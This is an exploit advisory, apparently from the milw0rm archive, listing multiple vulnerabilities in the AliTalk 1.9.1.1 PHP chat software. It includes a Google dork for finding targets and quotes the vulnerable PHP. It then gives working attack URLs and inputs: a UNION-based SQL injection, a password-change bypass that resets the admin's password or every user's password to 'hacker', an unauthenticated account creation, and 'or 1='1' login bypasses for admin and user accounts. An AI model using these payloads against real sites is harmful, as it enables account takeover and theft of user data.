######################################################################
# ALITALK v 1.9.1.1 Multiple Vulnerabilities                         #
# author      : tomplixsee                                           #
# google dork : POWERED BY ALITALK                                   #
# download    : http://www.alilg.com/software/free-php-ajax-chat/    #                             
######################################################################

#################
# SQL INJECTION # 
#################
# you need to login in order to exploit this vulnerability
# vulnerable code on inc/receivertwo.php
# <?
# .....
# if($_GET['turnadd']==1)
# {
# $rmusr=0;
# $rmmzyiz=mysql_query("SELECT * from ".$alitalk_base['dbprefix']."users where room='".$_GET['mohit']."'");
# while ($rmuiz=mysql_fetch_array($rmmzyiz))
# {
# echo"<rmusj>";
# echo" r%#dtr onmouseout=\"detailsclo()\" onmouseover=\"details(event,'".$rmuiz[gender]."','".$rmuiz[age]."','".$rmuiz[username]."','".$rmuiz[location]."')\" ondblclick=\"ums('".$rmuiz[uid]."','".$rmuiz[username]."','".""."')\" b*%d
# r%#dtd width='19'b*%d r%#dimg src=\"pix/room_user.gif\"b*%dr%#d/tdb*%d
# r%#dtd class='roomuser'b*%dr%#dfont unselectable='on' style=\"cursor: default;\"b*%d $rmuiz[username] r%#d/tdb*%d
# r%#d/trb*%d";
# $rmusr++;
# echo"</rmusj>";
# }
# ....
# ?>
#
# example:
# http://target/path/alitalk/inc/receivertwo.php?uid=1&mohit=y'+union+select+user(),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2+from+alitalk_users+where+uid='1&turnadd=1&melody=0&lilil=400


###########################
# PASSWORD CHANGE BYPASS  #
###########################
# vulnerable code on functionz/usercp.php
# <?
# .....
# function newpass($db,$id)
# {
# $nat=md5($_GET['old'].$_GET['old']);
# $nao=md5($_GET['new'].$_GET['new']);
# $threeyiz=mysql_query("SELECT * from ".$db."users where uid='".$id."' and password='".md5(md5($_GET['old']).$nat)."'");
# $yiz=mysql_fetch_array($threeyiz);
# if(!$yiz)
# {
# echo "Old Password is Wrong!";
# }
# else
# {
# mysql_query("UPDATE ".$db."users SET password='".md5(md5($_GET['new']).$nao)."' WHERE uid='".$id."'");
# mysql_query("UPDATE ".$db."users SET salt='".$nao."' WHERE uid='".$id."'");
# mpl($db,$id);
# }
# }
# .....
# ?>
# examples:
# http://target/path/inc/usercp.php?action=newpass&id=1' or password='&lilil=400&new=hacker
# this will change password to "hacker" for user with uid = 1 (admin).
# 
# http://target/path/inc/usercp.php?action=newpass&id=1' or 1='1&lilil=400&new=hacker
# this will change ALL passwords to "hacker".


############################
# USER REGISTRATION BYPASS #
############################
# vulnerable code on inc/elementz.php:
# <?
# ......
# if($_GET['lilil']!=="".$_SESSION['lilol'].""){return false;}
# include"setting.php";
# $analuze=mysql_query("SELECT username from ".$alitalk_base['dbprefix']."users where username='".$_GET['ubild']."' and type='alitalk'");
# $analuzeed=mysql_fetch_array($analuze);
# if($analuzeed)
# {
# echo "Fatal Error";
# }
# else
# {
# $nat=md5($_GET['pa'].$_GET['pa']);
# $pass=md5(md5($_GET['pa']).$nat);
# mysql_query("INSERT into ".$alitalk_base['dbprefix']."users (firstname,lastname,gender,age,username,password,salt,joindate,addz,type) values('".$_GET['fn']."','".$_GET['ln']."','".$_GET['gender']."','".$_GET['age']."','".$_GET['ubild']."','".$pass."','".$nat."','".date("F j, Y")."','$uid','alitalk')");
# ....
# ?>
# example:
# http://target/path/inc/elementz.php?lilil=400&ubild=hacker&pa=hacker
# this will add an account with username=hacker and password=hacker


#############################
# ADMIN LOGIN SQL INJECTION #
#############################
# code on admin/index.php
# <?
# .......
# else if($_POST['signin'])
# {
# include "../functionz/first_process.php";
# include "../inc/setting.php";
# addin($_POST['username'],$_POST['password'],$alitalk_base['dbprefix']);
# }
# .....
# ?>
# 
# vulnerable code on functionz/first_process.php
# <?
# ......
# function addin($lamerz,$killer,$josh)
# {
# session_start();
# $nat=md5($killer.$killer);
# $analuze=mysql_query("SELECT * FROM ".$josh."info WHERE admin='".$lamerz."' AND password='".md5(md5($killer).$nat)."'");
# $analuzeed=mysql_fetch_array($analuze);
# if($analuzeed)
# {
# $_SESSION['adazsar']=1;
# ......
# ?>
#
# admin login page= http://target/path/admin
# example:
#  admin ID = adminusername' or 1='1
#  password = whatever


############################
# USER LOGIN SQL INJECTION #
############################
#
# example:
#  ID = an_userID' or 1='1
#  password = whatever

# milw0rm.com [2008-01-16]